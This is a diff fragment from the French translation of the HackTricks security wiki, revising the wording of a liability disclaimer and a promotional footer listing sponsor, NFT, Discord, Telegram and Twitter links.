+Les auteurs et éditeurs ne seront en aucun cas responsables de toute perte ou dommage, y compris, sans limitation, perte ou dommage indirect ou consécutif, ou toute perte ou dommage quel qu'il soit découlant de la perte de données ou de bénéfices découlant de, ou en relation avec, l'utilisation de ce livre.
 
 De plus, les techniques et astuces décrites dans ce livre sont fournies à des fins éducatives et informatives uniquement, et ne doivent pas être utilisées à des fins illégales ou malveillantes. Les auteurs et éditeurs ne cautionnent ni ne soutiennent aucune activité illégale ou contraire à l'éthique, et toute utilisation des informations contenues dans ce livre se fait aux risques et périls de l'utilisateur et à sa discrétion.
 
-L'utilisateur est seul responsable de toute action entreprise sur la base des informations contenues dans ce livre, et doit toujours rechercher des conseils professionnels et une assistance lors de la tentative de mise en œuvre de l'une des techniques ou astuces décrites ici.
+L'utilisateur est seul responsable de toute action entreprise sur la base des informations contenues dans ce livre, et doit toujours rechercher des conseils professionnels et une assistance lorsqu'il tente de mettre en œuvre l'une des techniques ou astuces décrites ici.
 
 En utilisant ce livre, l'utilisateur accepte de dégager les auteurs et éditeurs de toute responsabilité et de toute responsabilité pour tout dommage, perte ou préjudice pouvant résulter de l'utilisation de ce livre ou de l'une des informations qu'il contient.
 {% endhint %}
@@ -158,8 +162,8 @@ Autres façons de soutenir HackTricks :
 
 * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
 * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
-* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
+* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts Github.
 
 </details>